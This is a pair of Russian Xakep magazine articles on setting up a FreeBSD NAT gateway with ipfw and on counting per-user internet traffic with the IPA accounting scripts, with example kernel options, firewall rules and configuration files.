Я работаю системным администратором в одной из московских фирм. В один чудный день руководство компании попросило меня (да-да, меня... сисадмина) создать систему трафика, по которой было бы видно, сколько каждый пользователь выкачивает из Интернета. Прошел месяц, и эта система трафика была создана и уже почти два месяца как практически без багов (что удивительно) функционирует в нашей сети. Именно опытом создания такой системы я и хочу поделиться на страницах нашего любимого журнала (я о Спец-Хакере, если кто не понял).

АХТУНГ! АХТУНГ! ФРИБЗДЯ...

Операционная система FreeBSD не имеет ничего общего с Линухом. У них изначально были совершенно разные пути развития и принципиально разная история. Если FreeBSD по сути вышла из институтской среды, мутировав из UNIX System V, то linux был полностью написан с нуля Линусом Торвальдсом, который просто пытался написать хороший бесплатный UNIX (что ему в принципе и удалось). FreeBSD имеет более долгую историю, более глобальные корни (схему развития можно проследить на сайте http://www.levenez.com/unix/history.html#06). Я надеюсь, что ты более-менее подкован, так как такие вещи, как установка FreeBSD, работа с сетью, компилирование ядра, здесь рассмотрены чисто схематично.

ФИГНЯ ВОЙНА - ГЛАВНОЕ МАНЕВРЫ

Что такое NAT? NAT расшифровывается как Network Address Translation. Он позволяет локальной сети выходить в другую сеть (ну, допустим в Интернет) через один комп. Функционирование NAT показано на схеме.

Комп, через который идет весь трафик сети, называется роутером или маршрутизатором. Стоит заметить, что роутер является компьютером лишь в частном случае. Очень часто (если позволяют средства) в качестве маршрутизаторов мы видим всем известные устройства компании Cisco и их конкурентов. Это все я к тому, что Cетевая Трансляция Адресов - это не просто программка, для того чтобы тебе было удобнее качать порнушку, а технология, которая встраивается практически во все роутеры, и реализовать ее можно практически на любой системе. Обычно (иначе просто не имеет смысла) на NAT навешен еще и firewall, который, благодаря админским правилам, запрещает/разрешает/подсчитывает определенные ip-пакеты. Благодаря NAT достигается:

1) экономия ip-адресов, так как используется только один внешний адрес, который мы и пробиваем на роутере;

2) увеличивается безопасность, так как все внутренние адреса скрыты за роутером, на котором firewall отсекает ненужные запросы;


Спецвыпуск Xakep, номер #033, стр. 033-054-2, САМЫЙ СЕРЬЕЗНЫЙ ГЕЙТ - Настраиваем ipfw + NAT во FreeBSD

САМЫЙ СЕРЬЕЗНЫЙ ГЕЙТ - Настраиваем ipfw + NAT во FreeBSD

DemiurG (arkhangel@mail.ru)

Спецвыпуск Xakep, номер #033, стр. 033-054-2

3) централизованное администрирование, что, согласись, очень важно для крупных сетей (банальный пример: для того чтобы запретить выход какому-либо хосту или группе хостов по www, админу придется прописать всего лишь одно правило на роутере, а не бегать к пользователю и что-либо менять на его машине).

А ПОЧЕМУ НЕ ПРОКСИ?

Да, точно, спросишь ты, почему бы вместо роутера не создать банальный прокси-сервер, который занимается (по сути) тем же самым делом (скрывает за собой локальную сеть). Возможно, если бы мы занимались этим под Винды, но сам firewall во freebsd (ipfw) работает на уровне ядра. NAT же представляет собой демон (NATD), которому мы, используя функцию divert, перенаправляем трафик, но дела это не меняет, так как вся фигня с пакетами происходит на уровне ipfw. За счет этого скорость работы и точность подсчета проходящих пакетов стремятся к максимуму, а тот же прокси-сервер (wingate на windows или squid на UNIX) будет работать как приложение (в Виндах - сервис на юнихе - демон), что отрицательно сказывается на производительности. Кроме того, очень часто при работе с wingate приходится поднимать wingate-клиент, что не есть гуд. NAT же полностью прозрачен - если тебе надо отключить какой-либо протокол или запретить доступ к какому-то порту, ты на лету изменяешь правила, и тебе даже не придется перегружать таблицы. Стоит заметить, что и NAT можно с легкостью реализовать в Винде (вариантов масса - хотя бы через winroute), но многие преимущества сразу теряются (winroute будет работать с пакетами как сервис, а не как неделимая частичка целого kernel'a). Короче, ты понял: proxy - suxxx, NAT - рулит.

ОТВЕТ НА ВСЕ ОДИН - ИЩЕМ

Сейчас мы создадим (точнее, попытаемся создать) примитивный роутер, через который наша локальная сеть будет выходить вовне (количество компов неважно, хоть один, хоть 500). Сразу скажу, что пишу для тех, кто более-менее разобрался в структуре и работе freebsd (для тех, кто еще не успел, существует отличная статья - "FreeBSD 4.3 step by step", опубликованная в номере 05.02 журнала Хакер: http://www.xakep.ru/magazine/xa/040/058/1.asp).

Что мы имеем: машину, на которой стоит freebsd 4.7 (последний доступный stable релиз 4.8 - я еще в продаже не видел, 5-ую ветку мы не рассматриваем). На этом компе у нас две сетевые карточки: xl0 - смотрит в твою сеть (ее ip - 192.168.6.12), xl1 - бацается с твоим провом (ip 212.212.212.212 - чисто ради примера).

Для начала мы перекомпилируем ядро. Для облегчения понимания представим, что за нашим роутером скрывается сеть из 2 компов с ip-адресами: 192.168.6.200 и 192.168.0.55.

ОН СКАЗАЛ ПОЕХАЛИ

Ядро по умолчанию находится в директории "/usr/src/sys/i386/conf/GENERIC". Создадим его копию и назовем наше новое ядрышко "xakep":

cp GENERIC xakep

Отредактируем полученный файл. В самый конец вставляем инструкции:

options IPFIREWALL (включает ipfw в ядро);

options IPFIREWALL_VERBOSE (возможность вести логи по пакетам, в первое время тебе это не понадобится, но зато потом, когда возмужаешь...);


Спецвыпуск Xakep, номер #033, стр. 033-054-3, САМЫЙ СЕРЬЕЗНЫЙ ГЕЙТ - Настраиваем ipfw + NAT во FreeBSD

САМЫЙ СЕРЬЕЗНЫЙ ГЕЙТ - Настраиваем ipfw + NAT во FreeBSD

DemiurG (arkhangel@mail.ru)

Спецвыпуск Xakep, номер #033, стр. 033-054-3

options IPDIVERT (NAT не знает что такое ipfw, поэтому нам надо будет перенаправить на него весь трафик, это делается с помощью инструкции divert, подробности ниже);

options DUMMYNET (в общем DUMMYNET служит для ограничения полосы пропускания трафика (допустим, тебе надо, чтобы Маша не могла закачать в день больше 10 метров порнухи с www.porno.com, ты пишешь соответствующее правило), но очень часто бывает, что тебе потом придется использовать некоторые функции IPFW, которые используют DUMMYNET, так что не забудь его включить).

Эти четыре правила по сути обязательны. Но любой продвинутый (да и не продвинутый тоже) админ может накидать тебе целую корзинку дополнительных правил, с помощью которых ты сможешь подбить secure-истость своей сети.

options IPFIREWALL_VERBOSE_LIMIT=10 (возможность лимита на количество записываемых в лог пакетов, чтобы логи не переполнились);

options TCP_DROP_SYNFIN (не принимает пакеты с байтами SYN и FIN, как ты знаешь, существует целый тип атак на основе SYN+FIN пакетов).

Существует еще масса дополнительных фишек (можно частично запретить протокол ICMP, тем самым снизив возможность флуда, но эти вещи выходят за пределы данной статьи). Если хочешь побольше узнать о ядре freebsd, читай файл LINT (в той же директории, что и GENERIC) + man ipfw + man dummynet и, разумеется, FreeBSD Handbook (http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/firewalls.html).

Компилим ядро: config xakep, потом переходим в директорию /usr/src/sys/compile/xakep, потом make, make install. Если все проходит гладко, новое ядро создастся в корне под именем kernel, при этом старое ядро получит имя kernel.old (но кроме них еще будет default ядрышко - kernel.GENERIC). Ну что, reboot?

Если новое ядро прогрузилось - то все ок, если же полезли ошибки - загрузи ядро "по умолчанию". Это делается, когда в самом начале при загрузке freebsd появляется надпись "Booting [kernel] in 9 seconds..." - нажимай Esc и в появившейся строке пиши "unload" (тем самым ты выгрузишь модули от нового ядра) и "boot /kernel.GENERIC".

Я ЛЮБЛЮ САМ ПРОЦЕСС

Конфигурируем NAT. В файл /etc/rc.conf пишем строки:

gateway_enable="YES" (благодаря этой строке мы получаем возможность делать forward пакетов, то есть машина выступает как роутер);

defaultrouter="212.212.212.211" (тут должен быть ip-адрес роутера твоего провайдера, то есть узел, который выше тебя, спроси у прова, он скажет);

natd_enable="yes" (включаем демон natd);

natd_interface="xl1" (тут прописан внешний интерфейс, на котором и будет тусоваться NAT);

tcp_drop_synfin="NO" (хоть мы и включили блокировку пакетов с байтами sys+fin, пользоваться пока ею не будем, вот когда разберешься - поменяешь NO на YES).

C rc.conf мы закончили (читай man rc.conf). Теперь давай разберемся, как задавать и работать с правилами ipfw. Разумеется, они все (или почти все) уже описаны в man ipfw, но я дам тебе установку.

С помощью команды ipfw -a list (более короткий вариант ipfw l) мы получим список правил. Каждое правило (оно же rule) представляет собой какую-либо инструкцию для ipfw. Для начала давай разберемся, что мы можем делать с пакетами, которые принимаем. Всего для ipfw существует несколько правил:


Спецвыпуск Xakep, номер #033, стр. 033-054-4, САМЫЙ СЕРЬЕЗНЫЙ ГЕЙТ - Настраиваем ipfw + NAT во FreeBSD

САМЫЙ СЕРЬЕЗНЫЙ ГЕЙТ - Настраиваем ipfw + NAT во FreeBSD

DemiurG (arkhangel@mail.ru)

Спецвыпуск Xakep, номер #033, стр. 033-054-4

reject - отбрасываем принятый пакет и информируем хост (который послал нам этот пакет), что наш узел недоступен (путем посылки ICMP сообщения "host unreachable" или "port unreachable");

allow - разрешаем принятие пакета (или pass, или accept);

deny - запрещаем принятие пакета без информирования по ICMP;

count - ведет подсчет пакетов (очень часто используется для снятия статистики, когда запрещать/разрешать не требуется, а надо просто получить информацию, сколько пакетиков использует тот или другой узел). Весь список правил выполняется от меньшего к большему, то есть сначала выполняется первое правило, а в конце последнее (обычно оно имеет номер 65535).

А что мы будем разрешать или запрещать? В ipfw пакеты делятся на четыре группы: TCP, UDP, ICMP, all - если с первыми тремя все понятно, то "all" (оно же ip) - это все протоколы. То есть, допустим, тебе надо разрешить для какого-то хоста только одну аську - ты и разрешаешь только udp протокол по какому-либо определенному порту (обычно 5190), а другой хост должен иметь право не только болтать по аське, но и ползать по web'у и качать файлы с ftp-серверов - вот ему-то мы и позволяем использовать "все протоколы", то есть в правилах назначаем "аll" (или "ip").

Для того чтобы задать правило, используем команду ipfw add, чтобы удалить - ipfw del. Трафик делится на два вида - входящий и исходящий. Бывает необходимо указать интерфейс для работы (в нашем случае xl0 или xl1), это делается с помощью префикса via. Для того чтобы твой комп использовался как шлюз, мало запустить демон natd, требуется еще перенаправить ему трафик исходящего интерфейса, то есть в нашем с тобой случае делаем: ipfw add 20 divert natd all from any to any via xl1

НЕМНОГО ПРАКТИКИ

Набери команду ipfw -a list и увидишь, что под номером 65535 кроется правило "deny ip from any to any". Что оно означает? Расшифровываем по порядку "запретить любой трафик по любым протоколам от любого хоста к любому хосту". То есть в этом случае мы не можем вообще работать с сетью и даже пропинговать собственный хост. Попытайся: ping 127.0.0.1 или ping 192.168.6.12 - ответ "permission denied", что в принципе логично. Разрешим все в сети, для этого наберем: ipfw add 100 allow ip from any to any. Смотрим ipfw -a list - у нас уже два правила.

Самое гиблое в манах по-моему - это то, что они офигительно объясняют теорию, но практику - ни-ни... Сейчас я дам тебе несколько полезных примеров, на основе которых ты сможешь написать для себя и своей сети туеву хучу новых рулесов.

Пример 1: ipfw add 8000 deny ip from 192.168.0.55 to any 80 via xl1 - создаем правило с номером 8000, запрещающее открывать сайты www (порт 80) хосту с ip-адресом 192.168.0.55 в Интернете. Заметь, что если сайт открыт на другом порту (например, 8080) и правил, запрещающих это, нет, то чел сможет спокойно открыть свою страничку. Следовательно делаем вывод, что вся защита задается по портам и нет какой-либо проверки контента. Кроме того, если на самом роутере находится web-сервер, то 192.168.0.55 может спокойно с ним работать, так как он откроется через интерфейс xl0.


Спецвыпуск Xakep, номер #033, стр. 033-054-5, САМЫЙ СЕРЬЕЗНЫЙ ГЕЙТ - Настраиваем ipfw + NAT во FreeBSD

САМЫЙ СЕРЬЕЗНЫЙ ГЕЙТ - Настраиваем ipfw + NAT во FreeBSD

DemiurG (arkhangel@mail.ru)

Спецвыпуск Xakep, номер #033, стр. 033-054-5

Пример 2: ipfw del 8000 - убираем это правило.

Пример 3: ipfw add allow tcp from any to 192.168.0.55 2000-2100 - разрешаем tcp трафик от любого хоста в Интернете к хосту 192.168.0.55 с 2000 по 2100 порт.

Пример 4: ipfw add 9200 count tcp from pop.mail.ru 110 to 192.168.6.200 via xl1 - подсчитаем, сколько почты скачивает хост c ip 192.168.6.200 c сервера mail.ru. В данном случае мы подсчитываем все по протоколам pop3, а если учитывать еще и imap4, то пример 4 будет выглядеть так:

ipfw add 92 count tcp from pop.mail.ru 110,143 to 192.168.6.200 via xl1

(так как imap4 использует порт 143).

Ты понял, почему в правиле 4 мы указываем интерфейс? Если в правиле 4 мы его не укажем, то трафик будет считаться два раза (сначала он пройдет через интерфейс xl1 - потом xl0). А если ты хочешь узнать, сколько ты отсылаешь почты, тогда пример 5: ipfw add 94 count tcp from 192.168.6.200 to smtp.mail.ru 25 via xl0.

Допустим, многие (или все) правила ты захотел отменить - вводи команду ipfw -f flush, и все правила, кроме последнего (65535 deny ip from any to any), удалятся. После того как очистил все правила, не удивляйся, что шлюз больше не функционирует - правило 20 (divert natd all from any to any via xl1) тоже исчезло.

ПОГРУЖЕНИЕ

Наверное, ты заметил, что все правила хранятся в оперативной памяти компа, то есть при случайной перезагрузке (или не случайной) весь твой труд будет уничтожен. Непорядок. Изменим это. Все настройки для ipfw задаются в файле /etc/rc.firewall. Используя файл rc.conf + опцию firewall_type="/usr/local/etc/firewall.conf", ты можешь сделать свой конфиг firewall'а (firewall.conf), из которого уже будут браться рулесы, но я обычно просто вставляю их в конец дефолтного rc.firewall. У нас должно получиться в несколько правил (не забудь, что нам надо еще защитить внутреннюю сеть от посягательств):

/sbin/ipfw -f flush

/sbin/ipfw add 20 divert natd all from any to any via xl1

/sbin/ipfw add 40 deny tcp from any to any 135-139 via xl1

/sbin/ipfw add 45 deny tcp from any 135-139 to any

/sbin/ipfw add 300 allow ip from 192.168.6.200 to any

/sbin/ipfw add 310 allow ip from any to 192.168.6.200 via xl1

/sbin/ipfw add 320 allow ip from any to 192.168.6.200 via xl0

/sbin/ipfw add 400 allow ip from 192.168.0.55 to any

/sbin/ipfw add 410 allow ip from any to 192.168.0.55 via xl1

/sbin/ipfw add 420 allow ip from any to 192.168.0.55 via xl0

/sbin/ipfw add 65000 allow ip from 222.222.222.222 to any

Прогрузим правила: sh /etc/rc.firewall. Смотрим ipfw -a list.

Оффтопик: если ты хочешь посмотреть какое-то определенное правило - тебе не обязательно поднимать все командой ipfw -a list, ты можешь просто задать ipfw show и номер нужного тебе правила. Пример (чтобы посмотреть правило 45): ipfw show 45.

Если ты не понял, давай разберем, что мы тут написали:

правила №40 и 45 запрещают вход и выход по нетбиосу (что есть хорошо - зачем локальной сети выход в Инет по нетбиосу). Для каждого внутреннего ip-адреса мы создаем 3 правила. Для ip-адреса 192.168.6.200 правило номер 300 разрешает выход в Интернет, а правила 310 и 320 позволяют обращаться к этому хосту из Интернета по интерфейсам xl1 и xl0 (без этих правил хост мог бы просто послать запрос к какому-либо серверу, но получить ответ от него не имел бы прав). Rule 65000 дает право роутеру отсылать пакеты от себя. Заметь, что тут обязательно надо указывать ip внешнего интерфейса, а не сам интерфейс. Благодарю тому, что у нас на каждый хост 3 специфических правила - посторонний (не прописанный) хост не может подключиться к твоей сети, то есть подключиться он сможет, но выйти в Инет нет (разумеется, до тех пор, пока ты для него не вобьешь эти три правила, тем самым разрешив ему доступ на роутере).


Спецвыпуск Xakep, номер #033, стр. 033-054-6, САМЫЙ СЕРЬЕЗНЫЙ ГЕЙТ - Настраиваем ipfw + NAT во FreeBSD

САМЫЙ СЕРЬЕЗНЫЙ ГЕЙТ - Настраиваем ipfw + NAT во FreeBSD

DemiurG (arkhangel@mail.ru)

Спецвыпуск Xakep, номер #033, стр. 033-054-6

ПОДВОДИМ ИТОГИ

Я надеюсь, мой маленький пушистый друг, ты понял, какие прекрасные священные бонусы сулит нам использование FreeBSD в наших коварных планах, поэтому переворачивай страницу и наслаждайся второй статьей из трилогии. Поверь, ты узнаешь еще очень много интересного.


Спецвыпуск Xakep, номер #033, стр. 033-058-1, КТО СКАЧАЛ МЯУ? - система подсчета трафика на FreeBSD

КТО СКАЧАЛ МЯУ? - система подсчета трафика на FreeBSD

DemiurG (arkhangel@mail.ru)

Спецвыпуск Xakep, номер #033, стр. 033-058-1

Чертик (ярко-красный) у тебя давно стоит, твоя локальная сеть все больше и больше расширяется, количество пользователей растет с каждым днем... И ты уже не в шутку, когда распиваешь очередную бутылку пива с дворовыми алкашами, бросаешь мысль, что неплохо бы, чтобы твоя локалка имела выход в интернет, да и не просто, а реальную выделенку. Единственная трабла возникает, когда придется учитывать, сколько каждый юзер выкачивает в инете, ведь если такого учета не будет - можно будет с легкостью пустить тебя по ветру... Что же будем делать? Правильно - создавать свою собственную систему трафика!

ТРАФИК - СУЩЕСТВО ПУШИСТОЕ

Для начала разберемся, что нам требуется создать. Система трафика должна:

1. Подсчитывать, сколько трафика конкретный пользователь выкачивает из интернета и закачивает в интернет. Причем делать это прозрачно для пользователя. Т.е. не доставлять ему (юзеру) никаких неудобств. За отмазы типа "у нас работает системы трафика, поэтому icq пользоваться нельзя" - расстрел...

2. Работать централизованно (не зря же мы ее ставим на роутер FreeBSD). Это я пишу к тому, что есть некоторые админы, которые считают, что простые решения - есть эффективные решения. И поэтому, если боссы требуют от них, чтобы считался трафик по пользователям, эти админы ставят на локальные компы юзеров какие-то убогие программки и потом имеют офигительный геморрой, бегая от юзера к юзеру. Да и юзеры тоже не дураки, и исподтишка убить и замучить эту убогую программку им в радость. Аминь.

3. Не существует глобального общего решения (равно как и алгоритма), как считать трафик. Вариантов, на чем реализовывать систему и чем считать пакетики, дофига (чуть ниже я рассмотрю основные). Каждый админ в своей ситуации решает сам. Кому-то хватает того, что уже сделано до него, кто-то пишет новые системы сам.

4. Должен быть интерфейс, через который админ может посмотреть, сколько у каждого юзера накапало. Как он будет реализован, решать админу. Кому-то достаточно подключения по ssh и банального распечатывания в файл (или на принтер) заветных циферок. Кто-то пишет отдельный клиент на языках высокого уровня либо банальный web-интерфейс, который позволяет не только админу, но и пользователям с боссами без вмешательства сисада узнать, сколько они скачивают и закачивают в инет.

5. Система трафика НЕ ДОЛЖНА учитывать, какие конкретно ресурсы пользователи смотрят в интернете. Этим должна заниматься система мониторинга, но отнюдь не трафика. Кроме того, мы честные админы и за пользователями не шпионим. Пусть этим занимаются другие люди (им за это деньги платят).

6. Система трафика может отличать (а может и не отличать) русский трафик от иностранного. Просто бывает такая ситуация, когда цена за русский трафик одна, а за иностранный в два раза больше, и возникает вопрос, как же его считать. Для тех, кто в танке: если сервак входит в зону .ru, это вовсе не означает, что он находится на территории постсоветского пространства (верно и обратное утверждение). В нашем случае я не отличаю русский и иностранный трафик, так как это дело очень не тривиальное и к стандартным схемам (которые я рассматриваю в статье) это сложно приделывается. Можно, конечно, и изолентой прикрутить, но часто отламываться будет, да и вероятность ошибки очень высока.


Спецвыпуск Xakep, номер #033, стр. 033-058-2, КТО СКАЧАЛ МЯУ? - система подсчета трафика на FreeBSD

КТО СКАЧАЛ МЯУ? - система подсчета трафика на FreeBSD

DemiurG (arkhangel@mail.ru)

Спецвыпуск Xakep, номер #033, стр. 033-058-2

Если кому-то это будет интересно, читайте про протокол BGP (http://www.cis.ohio-state.edu/cgi-bin/rfc/rfc1772.html). И заодно документацию NeTAMS (http://www.netams.com/doc/documentation-ru.html).

7. Система трафика НЕ СЧИТАЕТ количество денег за выкачанный пользователем трафик. Этим занимается система биллинга. Система биллинга высчитывает, сколько пользователь накачал в кредит или сверх меры, высчитывает процент (пени), может даже отключить пользователя. Мы все этим не занимаемся, нам нужно просто в конце месяца получить точные цифры: сколько тот или иной юзер выкачал из инета, и все...

ЗАКОН ПАРЕТТО

Заранее хочу пояснить, что почти все нижеприведенные решения мы рассматриваем на FreeBSD. На Линухе многие (почти все) просто не будут функционировать. В создании роутера выбирай лучше FreeBSD. Она более надежна и быстра, Линух же имеет смысл ставить только в том случае, если у тебя сложная нестандартная ситуация (допустим, есть два канала в инет, и надо, чтобы одни пользователи лазали по слабому каналу, а другие только по быстрому - во FreeBSD такая задача решается очень не тривиально) либо просто ставить фрибздю мешают какие-либо местечковые религиозные траблы.

НЕ ПРЕВЫШАЙ СКОРОСТИ 24 ЧАСОВ В СУТКИ

На основе чего мы можем считать трафик?

1. Создавать банальные записи ipfw count (можно и ipfw add allow что-то там, тем самым мы еще и ограничим доступ различным хостам) и потом написать скрипт и аккуратно писать вывод их в файл. Ipfw работает на уровне ядра и уж точно не теряет пакеты! Данные получаются более чем точные (и работает все быстро). Но придется писать какие-то скрипты, что не есть гуд.

http://cisco.opennet.ru/base/net/trafcnt.txt.html

http://www.server.md/articles.php?aid=12

2. trafd (он же bpft). Пытался с ним работать. Честно скажу, не было времени разбираться (представил, как это чудо буду адмнить - покрылся потом холодным). Считает пакетики через bpft (этот же пакетный фильтр использует сниффер tcpdump). Преимущества: есть в портах freebsd; может делать вывод по номеру портов и ресурсам, которые просматривает пользователь; делает дампы памяти (после перезагрузки данные останутся живы); умеет делать кучу вещей, которые в повседневной жизни не особо нужны (например, переводить сетевуху в promisc mode), так как имеет ближайшего родственника - tcpdump. Недостатки: может терять пакеты (если канал скоростной), мне показалось, что его тяжело настроить и админить, возможно я ошибся.

http://www.opennet.ru/base/net/trafd_stat.txt.html

http://bpft4.sourceforge.net

3. NeTAMS - программа для контроля и учета сетевого трафика (выдержка из документации). Офигительная прога, которая считает трафик, имеет web-интерфейс (используя mysql базу). Может считать трафик через прослушивание сетевого интерфейса (libpcap/bpf - полная аналогия с trafd), через ipfw divert куда-то (вспомни ipfw divert natd - поймешь, о чем я), через NetFlow (это к Сisco). Преимущества: все в одном; бесплатно; вроде бы умеет уже отличать российский трафик от иностранного (через протокол BGP) - хотя не факт; можно админить через telnet. Недостатки: я, как начинающий UNIX'оид, очень люблю юних за то, что любая сложная система в нем работает по кирпичикам, и если происходит глюк - легко определить, в каком месте он произошел. Мне не нравится виндоусовский подход - вот вам комбайн, который мелет морковку, колет деревья, лижет задницу, ходит за вас на работу - можете наслаждаться, только если он вашу задницу примет за дерево или за морковку - не обижайтесь. Мне хотелось самому попытаться что-то написать/создать/сделать, и у меня получилось. Возможно у тебя что-то получится с NeTAMS - буду очень рад, если - да, то пиши в СпецХакер статью - сразу же, не откладывая.


Спецвыпуск Xakep, номер #033, стр. 033-058-3, КТО СКАЧАЛ МЯУ? - система подсчета трафика на FreeBSD

КТО СКАЧАЛ МЯУ? - система подсчета трафика на FreeBSD

DemiurG (arkhangel@mail.ru)

Спецвыпуск Xakep, номер #033, стр. 033-058-3

http://www.netams.com/

http://www.netams.com/doc/documentation-ru.html (документация на русском, прочитай просто для души - много интересного узнаешь).

4. NetUP UTM 3.0 - просто настраивать, ничего не пропускает, работает как часы, стоит 200$ (это минимальная лицензия). Мне не по себе стало что-то.

http://www.netup.ru/.

За деньги есть еще LanBilling (http://www.lanbilling.ru/noncomm.html) - там вроде демка на халяву есть, если интересно - посмотри.

5. Варианты: ipcad, ng_ipacct, MRTA, MRTG, Ipacc, ipCount, IPmeter, tcpstat. Каждая из этих программ каким-то ей изведанным шаманским способом (как модуль ядра, как демон или через SNMP (MRTG)) собирает и подсчитывает трафик. Я не ставил ничего из вышеперечисленного. Просто стало как-то скучно и тоскливо. У каждого свои преимущества (возможно, если у тебя Cisco - тебе подойдет сбор данных по Simple Network Management Protoсol, но это не наш случай). Недостатки: никто не гарантирует тебе, что из вышеперечисленных модулей/демонов хоть какой-то считает более-менее точно, одни хвалят одно - другие другое, есть из чего выбирать (ведь можно и с прокси-сервера SQUID статистику забирать, но это, согласись, изврат). Этим списком я хотел показать, что есть какие-то другие решения, и если первые четыре пункта тебя не устроили - ты можешь на базе вышеперечисленного создать свою систему трафика, и будешь молодец. А я умываю руки.

http://www.opennet.ru/base/faq/faq_traf2.txt.html (faq по системам подсчета).

6. IPA (IP Accounting Software) - вот на ней, родимой, мы и будем создавать нашу систему. Преимущества: сами IPA ничего не считают - они (скрипты) используют правила ipfw, которые уже задает админ; имеют свою убогую текстовую базу (то есть при перезагрузке данные не потеряются); умеют складывать/вычитать правила; очень хорошая документация; имеют sql-web-интерфейс, который не работает (было написано письмо автору патча - ответа не последовало). Недостатки: все, присущие ipfw, так как сами ipa мало что делают; чересчур убогая текстовая база, для того чтобы изменить в ней значение, надо очень постараться. Несмотря на это, прога хорошо работает, не падает и имеет массу фишечек которые мы и рассмотрим.


Спецвыпуск Xakep, номер #033, стр. 033-058-4, КТО СКАЧАЛ МЯУ? - система подсчета трафика на FreeBSD

КТО СКАЧАЛ МЯУ? - система подсчета трафика на FreeBSD

DemiurG (arkhangel@mail.ru)

Спецвыпуск Xakep, номер #033, стр. 033-058-4

http://ipa-system.sourceforge.net/

Первым делом прочитай там все, что тебе надо (если я пишу "man 8 ipa", то я имею в виду файл ipa.8.txt):

http://ipa-system.sourceforge.net/ipa.8.txt

http://ipa-system.sourceforge.net/ipastat.8.txt

http://ipa-system.sourceforge.net/ipa.conf.5.txt

http://ipa-system.sourceforge.net/ipa.5.txt

http://kirill.alphaclub.net/sprav.html - patch sql+web интерфейс. У меня поставить (чтоб работало) не получилось.

НАХ-НАХ, НЕХ-НЕХ И ПОХ-ПОХ

Скачиваем архив (http://ipa-system.sourceforge.net/ipa-1.3.1.tar.gz), разархивируем (tar -xvfz ipa-1.3.1.tar.gz). Уже появился билд 1.3.4 (но для примера я все бацаю на 1.3.1). Ставим скрипты: make, make install. Читаем документацию (обязательно). Основной конфигурационной файл ipa - /usr/local/etc/ipa.conf (по умолчанию существует файл ipa.conf.default, переименуй его в ipa.conf). Сама база пишется в каталог /var/ipa/"user name"/"номер месяца". Система такова: у нас есть сеть с 3 пользователями и соответствующими ip-адресами:

admin - 192.168.6.200

masha - 192.168.6.210

gosha - 192.168.6.234

Для каждого из них мы создаем по три правила, которые не просто подсчитывают трафик, но разрешают выход их компам в сеть (почему так, смотри предыдущую статью про конфигурирование freebsd). Данные по роутеру мы также оставляем без изменений.

Данные для Маши:

ipfw add 300 allow ip from 192.168.6.210 to any

ipfw add 310 allow ip from any to 192.168.6.210 via xl1

ipfw add 320 allow ip from any to 192.168.6.210 via xl0

Правила, по которым будет считаться трафик в данном случае, - 300 и 310 (320 служит для разрешения доступа по внутреннему интерфейсу). В нижеследующем конфиге я создал еще и юзера "all", через которого мы подсчитаем трафик для всей сети по всем пользователям, просто складывая номера их правил - очень удобно, советую.

Пример реального файла ipa.conf:

## в секции global задаются какие-либо глобальные правила.

global {

## означает, что данные в базе обновляются каждые 5 минут.

update_db_time = 5m

}

## когда ты запускаешь IPA командой ipa, первым делом прогружаются данные, находящиеся в секции startup.

startup {

## очищаем таблицу рулесов ipfw.

exec = /sbin/ipfw -f flush

exec = /sbin/ipfw add 20 divert natd all from any to any via xl1

## запрещаем извне порт 3306 (mysql).

exec = /sbin/ipfw add 35 deny tcp from any to any 3306 via xl1

exec = /sbin/ipfw add 37 deny tcp from any 3306 to any via xl1

## запрещаем netbios порты 138-139 (135-137 порты тоже стоит запретить на всякий случай, они используются в специфических микрософтовских программках).

exec = /sbin/ipfw add 40 deny tcp from any to any 135-139

exec = /sbin/ipfw add 45 deny tcp from any 135-139 to any

## разрешаем отсылать порты от роутера.

exec = /sbin/ipfw add 65000 allow ip from 212.212.212.212 to any

}

## когда ты убиваешь ipa (команда ipa -k shutdown), выполняется секция shutdown.

shutdown {

## очищаем таблицу рулесов ipfw.

exec = /sbin/ipfw -f flush

## разрешаем внутренний интерфейс. Бывает, очень часто требуется, когда работаешь с роутером, удаленно по ssh надо убить все правила (или просто отключить IPA). Если бы не это правило, тебя бы просто выбросило из PUTTY, и пришлось искать бы монитор для роутера (так как доступ к нему извне по сети был бы наглухо закрыт).


Спецвыпуск Xakep, номер #033, стр. 033-058-5, КТО СКАЧАЛ МЯУ? - система подсчета трафика на FreeBSD

КТО СКАЧАЛ МЯУ? - система подсчета трафика на FreeBSD

DemiurG (arkhangel@mail.ru)

Спецвыпуск Xakep, номер #033, стр. 033-058-5

exec = /sbin/ipfw add 5 allow all from any to any via xl0

exec = /sbin/ipfw add 25 deny ip from any to any

}

## правила для админа.

rule admin {

## просто информационная строка, может быть написано все что угодно, очень часто служит как напоминание и будет просто необходима, когда мы начнем писать скрипты для трафика.

info = 192.168.6.200

ipfw = 190 195

startup {

## мы считаем трафик по правилу 190 (сколько мы отсылаем) и по правилу 195 (сколько мы закачиваем), правила 185 и 187 служат для работы по ssh (так как они лежат раньше 190, 195, по ним трафик не считается).

exec = /sbin/ipfw add 185 allow tcp from 192.168.6.200 to 192.168.6.22 22

exec = /sbin/ipfw add 187 allow tcp from 192.168.6.22 22 to 192.168.6.200

exec = /sbin/ipfw add 190 allow ip from 192.168.6.200 to any via xl0

exec = /sbin/ipfw add 195 allow ip from any to 192.168.6.200 via xl1

exec = /sbin/ipfw add 197 allow ip from any to 192.168.6.200 via xl0

}

}

rule masha {

info = 192.168.6.210

ipfw = 300 310

startup {

exec = /sbin/ipfw add 300 allow ip from 192.168.6.210 to any

exec = /sbin/ipfw add 310 allow ip from any to 192.168.6.210 via xl1

exec = /sbin/ipfw add 320 allow ip from any to 192.168.6.210 via xl0

}

## для примера приведена секция shutdown (хотя когда у нас есть глобальная секция shutdown, эта теряет всякий смысл)

shutdown {

exec = /sbin/ipfw delete 300

exec = /sbin/ipfw delete 310

}

}

rule gosha {

info = 192.168.6.234

ipfw = 400 410

startup {

exec = /sbin/ipfw add 400 allow ip from 192.168.6.234 to any

exec = /sbin/ipfw add 410 allow ip from any to 192.168.6.234 via xl1

exec = /sbin/ipfw add 420 allow ip from any to 192.168.6.234 via xl0

}

}

rule all {

info = 255.255.255.255

ipfw = 190 195 300 310 400 410

}

Ну что, вбил правила? Теперь разберемся, как их вывести на экран. В IPA этим занимается команда "ipastat". Как всегда, будем на примерах разбираться?

Пример 1: "ipastat -x -R ." - выводит информацию по всем пользователям за текущий месяц работы (ключ -х позволяет использовать регулярные выражения - примеры использования см. "man 8 ipastat").

Пример 2: "ipastat -r admin" - выводит статистику за текущий месяц работы по пользователю admin и делает разбивку по дням

Пример 3: "ipastat -R admin" - выводит статистику за текущий месяц работы по пользователю admin и не делает разбивки по дням.

Пример 4: "ipastat -r admin -i 2003.07.07" - выводит статистику по админу за 7 июля.

